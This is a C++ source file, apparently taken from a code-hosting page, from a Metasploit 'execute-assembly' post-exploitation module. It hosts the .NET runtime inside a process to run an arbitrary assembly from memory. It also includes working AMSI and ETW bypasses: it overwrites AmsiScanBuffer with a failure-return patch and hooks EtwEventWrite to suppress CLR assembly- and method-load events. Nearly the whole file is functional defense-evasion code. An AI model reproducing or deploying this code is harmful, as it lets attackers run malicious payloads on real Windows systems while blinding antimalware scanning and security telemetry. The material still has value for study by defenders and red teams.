515 lines
12 KiB
C++
515 lines
12 KiB
C++
// Author: B4rtik (@b4rtik)
|
|
// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)
|
|
// License: BSD 3-Clause
|
|
// based on
|
|
// https://github.com/etormadiv/HostingCLR
|
|
// by Etor Madiv
|
|
|
|
#include "stdafx.h"
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <evntprov.h>
|
|
#include "HostingCLR.h"
|
|
#include "EtwTamper.h"
|
|
|
|
// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime
|
|
#define ModuleLoad_V2 152
|
|
#define AssemblyDCStart_V1 155
|
|
#define MethodLoadVerbose_V1 143
|
|
#define MethodJittingStarted 145
|
|
#define ILStubGenerated 88
|
|
|
|
unsigned char amsiflag[1];
|
|
unsigned char etwflag[1];
|
|
|
|
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
|
char sig_20[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 };
|
|
|
|
// mov rax, <Hooked function address>
|
|
// jmp rax
|
|
unsigned char uHook[] = {
|
|
0x48, 0xb8, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0xFF, 0xE0
|
|
};
|
|
|
|
#ifdef _X32
|
|
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
|
|
SIZE_T patchsize = 8;
|
|
#endif
|
|
#ifdef _X64
|
|
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
|
SIZE_T patchsize = 6;
|
|
#endif
|
|
|
|
union PARAMSIZE {
|
|
unsigned char myByte[4];
|
|
int intvalue;
|
|
} paramsize;
|
|
|
|
int executeSharp(LPVOID lpPayload)
|
|
{
|
|
HRESULT hr;
|
|
|
|
ICLRMetaHost* pMetaHost = NULL;
|
|
ICLRRuntimeInfo* pRuntimeInfo = NULL;
|
|
BOOL bLoadable;
|
|
ICorRuntimeHost* pRuntimeHost = NULL;
|
|
IUnknownPtr pAppDomainThunk = NULL;
|
|
_AppDomainPtr pDefaultAppDomain = NULL;
|
|
_AssemblyPtr pAssembly = NULL;
|
|
SAFEARRAYBOUND rgsabound[1];
|
|
SIZE_T readed;
|
|
_MethodInfoPtr pMethodInfo = NULL;
|
|
VARIANT retVal;
|
|
VARIANT obj;
|
|
SAFEARRAY *psaStaticMethodArgs;
|
|
VARIANT vtPsa;
|
|
|
|
unsigned char pSize[8];
|
|
|
|
//Read parameters assemblysize + argssize
|
|
ReadProcessMemory(GetCurrentProcess(), lpPayload, pSize, 8, &readed);
|
|
|
|
PARAMSIZE assemblysize;
|
|
assemblysize.myByte[0] = pSize[0];
|
|
assemblysize.myByte[1] = pSize[1];
|
|
assemblysize.myByte[2] = pSize[2];
|
|
assemblysize.myByte[3] = pSize[3];
|
|
|
|
PARAMSIZE argssize;
|
|
argssize.myByte[0] = pSize[4];
|
|
argssize.myByte[1] = pSize[5];
|
|
argssize.myByte[2] = pSize[6];
|
|
argssize.myByte[3] = pSize[7];
|
|
|
|
long raw_assembly_length = assemblysize.intvalue;
|
|
long raw_args_length = argssize.intvalue;
|
|
|
|
unsigned char *allData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char)+ raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
|
|
unsigned char *arg_s = (unsigned char*)malloc(raw_args_length * sizeof(unsigned char));
|
|
unsigned char *rawData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char));
|
|
|
|
SecureZeroMemory(allData, raw_assembly_length * sizeof(unsigned char) + raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
|
|
SecureZeroMemory(arg_s, raw_args_length * sizeof(unsigned char));
|
|
SecureZeroMemory(rawData, raw_assembly_length * sizeof(unsigned char));
|
|
|
|
rgsabound[0].cElements = raw_assembly_length;
|
|
rgsabound[0].lLbound = 0;
|
|
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
|
|
|
|
void* pvData = NULL;
|
|
hr = SafeArrayAccessData(pSafeArray, &pvData);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
printf("Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
//Reading memory parameters + amsiflag + args + assembly
|
|
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 9, &readed);
|
|
|
|
//Taking pointer to amsi
|
|
unsigned char *offsetamsi = allData + 8;
|
|
//Store amsi flag
|
|
memcpy(amsiflag, offsetamsi, 1);
|
|
|
|
unsigned char *offsetetw = allData + 9;
|
|
//Store amsi flag
|
|
memcpy(etwflag, offsetetw, 1);
|
|
|
|
//Taking pointer to args
|
|
unsigned char *offsetargs = allData + 10;
|
|
//Store parameters
|
|
memcpy(arg_s, offsetargs, raw_args_length);
|
|
|
|
//Taking pointer to assembly
|
|
unsigned char *offset = allData + raw_args_length + 10;
|
|
//Store assembly
|
|
memcpy(pvData, offset, raw_assembly_length);
|
|
|
|
LPCWSTR clrVersion;
|
|
|
|
if(FindVersion(pvData, raw_assembly_length))
|
|
{
|
|
clrVersion = L"v4.0.30319";
|
|
}
|
|
else
|
|
{
|
|
clrVersion = L"v2.0.50727";
|
|
}
|
|
|
|
hr = SafeArrayUnaccessData(pSafeArray);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
printf("Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
//Etw bypass
|
|
if (etwflag[0] == '\x01')
|
|
{
|
|
int ptcResult = PatchEtw();
|
|
if (ptcResult == -1)
|
|
{
|
|
printf("Etw bypass failed\n");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
IEnumUnknown* pEnumerator;
|
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
|
|
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
printf("Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
BOOL isloaded = ClrIsLoaded(clrVersion, pEnumerator, (VOID**)&pRuntimeInfo);
|
|
|
|
if(!isloaded)
|
|
{
|
|
hr = pMetaHost->GetRuntime(clrVersion, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
wprintf(L"Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
|
return -1;
|
|
}
|
|
|
|
hr = pRuntimeInfo->IsLoadable(&bLoadable);
|
|
|
|
if (FAILED(hr) || !bLoadable)
|
|
{
|
|
wprintf(L"Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
if (!isloaded)
|
|
{
|
|
hr = pRuntimeHost->Start();
|
|
}
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("CLR failed to start w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**) &pDefaultAppDomain);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("Failed to get default AppDomain w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
//Amsi bypass
|
|
if (amsiflag[0] == '\x01')
|
|
{
|
|
int ptcResult = PatchAmsi();
|
|
if (ptcResult == -1)
|
|
{
|
|
printf("Amsi bypass failed\n");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("Failed pDefaultAppDomain->Load_3 w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
hr = pAssembly->get_EntryPoint(&pMethodInfo);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
ZeroMemory(&retVal, sizeof(VARIANT));
|
|
ZeroMemory(&obj, sizeof(VARIANT));
|
|
|
|
obj.vt = VT_NULL;
|
|
vtPsa.vt = (VT_ARRAY | VT_BSTR);
|
|
|
|
//Managing parameters
|
|
if(arg_s[0] != '\x00')
|
|
{
|
|
//if we have at least 1 parameter set cEleemnt to 1
|
|
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
|
|
LPWSTR *szArglist;
|
|
int nArgs;
|
|
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length +1));
|
|
|
|
mbstowcs(wtext, (char *)arg_s, raw_args_length + 1);
|
|
szArglist = CommandLineToArgvW(wtext, &nArgs);
|
|
|
|
free(wtext);
|
|
|
|
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs);
|
|
|
|
for(long i = 0;i< nArgs;i++)
|
|
{
|
|
size_t converted;
|
|
size_t strlength = wcslen(szArglist[i]) + 1;
|
|
OLECHAR *sOleText1 = new OLECHAR[strlength];
|
|
char * buffer = (char *)malloc(strlength * sizeof(char));
|
|
|
|
wcstombs(buffer, szArglist[i], strlength);
|
|
|
|
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
|
|
BSTR strParam1 = SysAllocString(sOleText1);
|
|
|
|
SafeArrayPutElement(vtPsa.parray, &i, strParam1);
|
|
free(buffer);
|
|
}
|
|
|
|
long iEventCdIdx(0);
|
|
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
|
|
}
|
|
else
|
|
{
|
|
//if no parameters set cEleemnt to 0
|
|
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
|
|
}
|
|
|
|
//Assembly execution
|
|
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
|
|
|
|
if(FAILED(hr))
|
|
{
|
|
printf("Failed pMethodInfo->Invoke_3 w/hr 0x%08lx\n", hr);
|
|
return -1;
|
|
}
|
|
|
|
wprintf(L"Succeeded\n");
|
|
|
|
return 0;
|
|
}
|
|
|
|
VOID Execute(LPVOID lpPayload)
|
|
{
|
|
if (!AttachConsole(-1))
|
|
AllocConsole();
|
|
|
|
executeSharp(lpPayload);
|
|
|
|
}
|
|
|
|
BOOL FindVersion(void * assembly, int length)
|
|
{
|
|
char* assembly_c;
|
|
assembly_c = (char*)assembly;
|
|
|
|
for (int i = 0; i < length; i++)
|
|
{
|
|
for (int j = 0; j < 10; j++)
|
|
{
|
|
if (sig_40[j] != assembly_c[i + j])
|
|
{
|
|
break;
|
|
}
|
|
else
|
|
{
|
|
if (j == (9))
|
|
{
|
|
return TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
ULONG NTAPI MyEtwEventWrite(
|
|
__in REGHANDLE RegHandle,
|
|
__in PCEVENT_DESCRIPTOR EventDescriptor,
|
|
__in ULONG UserDataCount,
|
|
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData)
|
|
{
|
|
ULONG uResult = 0;
|
|
|
|
_EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)
|
|
GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWriteFull");
|
|
if (EtwEventWriteFull == NULL) {
|
|
return 1;
|
|
}
|
|
|
|
switch (EventDescriptor->Id) {
|
|
case AssemblyDCStart_V1:
|
|
// Block CLR assembly loading events.
|
|
break;
|
|
case MethodLoadVerbose_V1:
|
|
// Block CLR method loading events.
|
|
break;
|
|
case ILStubGenerated:
|
|
// Block MSIL stub generation events.
|
|
break;
|
|
default:
|
|
// Forward all other ETW events using EtwEventWriteFull.
|
|
uResult = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData);
|
|
}
|
|
|
|
return uResult;
|
|
}
|
|
|
|
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch) {
|
|
PNT_TIB pTIB = NULL;
|
|
PTEB pTEB = NULL;
|
|
PPEB pPEB = NULL;
|
|
|
|
// Get pointer to the TEB
|
|
pTIB = (PNT_TIB)__readgsqword(0x30);
|
|
pTEB = (PTEB)pTIB->Self;
|
|
|
|
// Get pointer to the PEB
|
|
pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;
|
|
if (pPEB == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
|
|
}
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
|
|
}
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
|
|
}
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
|
|
}
|
|
else {
|
|
|
|
return -2;
|
|
}
|
|
|
|
LPVOID lpBaseAddress = lpFuncAddress;
|
|
ULONG OldProtection, NewProtection;
|
|
SIZE_T uSize = sizeof(patch);
|
|
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
|
if (status != STATUS_SUCCESS) {
|
|
return -1;
|
|
}
|
|
|
|
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, sizeof(patch), NULL);
|
|
if (status != STATUS_SUCCESS) {
|
|
return -1;
|
|
}
|
|
|
|
status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
|
|
if (status != STATUS_SUCCESS) {
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
BOOL PatchEtw()
|
|
{
|
|
HMODULE lib = LoadLibraryA("ntdll.dll");
|
|
if (lib == NULL)
|
|
{
|
|
printf("Cannot load ntdll.dll");
|
|
return -2;
|
|
}
|
|
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
|
|
if (lpFuncAddress == NULL)
|
|
{
|
|
printf("Cannot get address of EtwEventWrite");
|
|
return -2;
|
|
}
|
|
|
|
// Add address of hook function to patch.
|
|
*(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite;
|
|
|
|
return InlinePatch(lpFuncAddress, uHook);
|
|
}
|
|
|
|
BOOL PatchAmsi()
|
|
{
|
|
|
|
HMODULE lib = LoadLibraryA("amsi.dll");
|
|
if (lib == NULL)
|
|
{
|
|
printf("Cannot load amsi.dll");
|
|
return -2;
|
|
}
|
|
|
|
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
|
|
if(addr == NULL)
|
|
{
|
|
printf("Cannot get address of AmsiScanBuffer");
|
|
return -2;
|
|
}
|
|
|
|
return InlinePatch(addr, amsipatch);
|
|
}
|
|
|
|
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo) {
|
|
HRESULT hr;
|
|
ULONG fetched = 0;
|
|
DWORD vbSize;
|
|
BOOL retval = FALSE;
|
|
wchar_t currentversion[260];
|
|
|
|
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown **)&pRuntimeInfo, &fetched)) && fetched > 0)
|
|
{
|
|
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
|
|
if (!FAILED(hr))
|
|
{
|
|
if (wcscmp(currentversion, version) == 0)
|
|
{
|
|
retval = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
return retval;
|
|
}
|
|
|
|
|
|
|
|
|